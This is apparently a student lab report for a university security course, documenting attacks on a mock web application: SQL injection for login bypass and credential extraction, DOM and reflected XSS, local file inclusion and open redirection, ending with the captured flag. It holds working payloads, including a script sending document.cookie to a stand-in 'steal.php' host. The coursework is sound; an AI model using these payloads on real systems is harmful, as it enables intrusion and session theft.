Technical University of Crete

School of Electrical and Computer Engineering

Security of Systems and Services - HPΥ 413

Web Security Vulnerabilities Report

Instructor:
Ioannidis Sotiris

Students:
Salom Iochanas
Konstantinos Pisimisis

November 22, 2024

Abstract

This report explores various web security vulnerabilities identified in a mock application. The vulnerabilities analyzed include SQL Injection, Cross-Site Scripting (XSS), Local File Inclusion (LFI), and Open Redirection. Each section provides a detailed explanation of the methodology, specific payloads used, and the corresponding impact. The findings aim to highlight the importance of secure coding practices to mitigate such risks.

1 SQL Injection

1.1 Login SQL Injection

First, we examine the query used for the login process which is the following:

```
SELECT * FROM users
WHERE username = 'user' AND password = '{password}'
```

Listing 1: Query used to retrieve the login information from the database

This query is vulnerable due to the lack of input sanitization. By applying the following steps:

- Access the address `http://139.91.71.5:11337/`
- Form Field /POST parameter : password
- **Payload**: `' OR '1'='1`

an attacker can bypass authentication and gain unauthorized access. In our case, we easily get access as user

```
SELECT name, category, price
FROM items WHERE name = '{name}'
```

Listing 2: Query used for seaching an item in the database

1.2 Exploiting Item Search

The search functionality is also vulnerable, as it executes the following query without proper sanitization:

By applying the following steps:

- Access the address `http://139.91.71.5:11337/`
- Login as an user
- Form Field /POST parameter: item_name
- **Payload:** Create a query that will return either the users or a specific user

An example of the payload that can be used is the following:

```
'
UNION
SELECT username,
       password,
       NULL
FROM users--
```

Listing 3: A “dummy” query that returns only the first entry on the table

A more targeted query is the following:

```
'
UNION
SELECT username,
       password,
       NULL
FROM users
WHERE username = "superadmin" --
```

Listing 4: A query targeting for the credentials of the super-admin

In this way, an attacker can extract sensitive user data, such as login credentials. In our case, we can exploit the super-admin credentials which are:

- **username:** superadmin
- **password:** $youCantCrackMyPassword$

2 Cross-Site Scripting (XSS)

2.1 DOM-Based XSS

DOM-based XSS is a type of XSS where the payload is executed by modifying the Document Object Model (DOM) in the victim's browser. In our case, the vulnerability is in the following code snippet:

```
if (document.location.hash) {
    let uname = document.location.hash.split("#")[1];
    if (uname.includes("%")) uname = decodeURI(uname);
    document.write(`<h2>Welcome ${uname}!</h2>`);
}
```

Listing 5: Code snippet from the greet.js

By applying the following steps:

- Access the address `http://139.91.71.5:11337/`
- Login as an user
- Now the URL should be in the form:
  `http://139.91.71.5:11337/dashboard#`
- Modify the previous URL such as:
  `http://139.91.71.5:11337/dashboard#<script>Payload</script>`
- **Payload**: alert('test')

Of course, we can create more complex scripts like the following:

- ```
  let x = prompt(``User input");if(x) alert(``\${x} was
  ↪ inputted");
  ```

Both of the cases, execute arbitrary Javascript in the user's browser.

2.2 Reflected XSS

Reflected XSS occurs when an attacker injects a malicious script into a website, tricking users into clicking a link or entering data. In our case, the vulnerability was found in the search function, which did not sanitize user input. A simple example is the following:

```
if (searchItemNotFound) {
    displayMessage(userInput);
}
```

Listing 6: A simple case of insufficient validation

In our case, a similar mistake in the search method where the input of the user is not validated.

By applying the following steps:
```

- Access the address `http://139.91.71.5:11337/`
- Login as an user
- Now the URL should be in the form:
  `http://139.91.71.5:11337/dashboard#`
- Payload: After the # add your Javascript code.

A simply Payload is the following:

```
< script > alert("test") < /script>
```

Of course, the attacker would create a more malicious script,such wad a malicious cookie[1], probably with the intension of extracting valuable information about the potential victim. Then, it would send it to the victim through a convenient way, such as an email. Finally, the script will be executed in the victim's browser.

An example of a "dummy" and malicious cookie is the following:

```
< script >
    var cookieValue = document.cookie;
    if (cookieValue) {
        alert('Cookie Value: ' + cookieValue);
    } else {
        alert('No cookies found.');
    }
< /script>
```

Listing 7: A cookie that just prints its value

However, it is obviously, that we dont want to print any message but send the results directly to our server. Thus, we construct the following script:

[1]In our mock application a cookie is created only if we login in as admin.Thus, if you wish to test the malicious cookies, make sure you are log in as an admin.

```
< script >
    var cookieValue = document.cookie;
    var img = new Image();
    img.src = 'http://mysite.com/steal.php?cookie=' +
     ↪  encodeURIComponent(cookieValue);
< /script>
```

Listing 8: A malicious and more clever implementation of cookie exploit

3 Local File Inclusion (LFI)

The application allows local file inclusion due to insufficient input validation. The problematic code snippet is:

```
if filename and "." not in filename and
 ↪  os.path.isfile(f"{APP_ROOT}/{filename}.txt"):
    with open(f"{APP_ROOT}/{filename}.txt", "r") as fp:
        contents = fp.read()
```

Listing 9: Code snippet from the function admin

While directory traversal is mitigated by checking for periods (`"."`), the lack of validation allows access to arbitrary txt files within the application directory. In order words, this code will display any file within the APP_ROOT directory to be viewed that is of type .txt

By applying the following steps:

- Access the address `http://139.91.71.5:11337/`
- Login as an user
- Now the URL should be in the form: `http://139.91.71.5:11337/dashboard#`
- Payload: `http://139.91.71.5:11337/admin?show=templates/test`

we can now access all the files of the specified directory.

4 Open Redirection

An Open Redirection vulnerability was found in the application's redirect function. By crafting a URL like:

- `http://139.91.71.5:11337/go?to=https://malicious.com`

an attacker can redirect users to an external malicious site.

5 Requested Flag

Using the techniques we discussed previously, we found out that the the hidden flag is: **972f02eb8227012f0b9954e95efc4001a28290ef48047a922efc2a4db40954e6**
In order to retrieve it, follow this steps:

- Access `http://139.91.71.5:11337/files` that lists the /files dir (including realflag.txt)
- Using the LFI methodology, access: `http://139.91.71.5:11337/admin?show=/files/realflag`
- You can see the real flag

References

[1] EITCA Academy. *How can cross-site scripting (XSS) attacks be used to steal cookies?* **august** 2023. URL: `https://eitca.org/cybersecurity/eitc-is-wapt-web-applications-penetration-testing/web-attacks-practice/http-attributes-cookie-stealing/examination-review-http-attributes-cookie-stealing/how-can-cross-site-scripting-xss-attacks-be-used-to-steal-cookies/`.

[2] PortSwigger Web Security Academy. *What is SQL Injection? Tutorial & Examples*. Accessed on: n.d. URL: `https://portswigger.net/web-security/sql-injection`.

[3] W3schools.com. *W3Schools Online Web Tutorials*. Accessed on: n.d.-a. URL: https://www.w3schools.com/sql/sql_injection.asp.

[4] W3schools.com. *W3Schools Online Web Tutorials*. Accessed on: n.d.-b. URL: https://www.w3schools.com/sql/sql_injection.asp.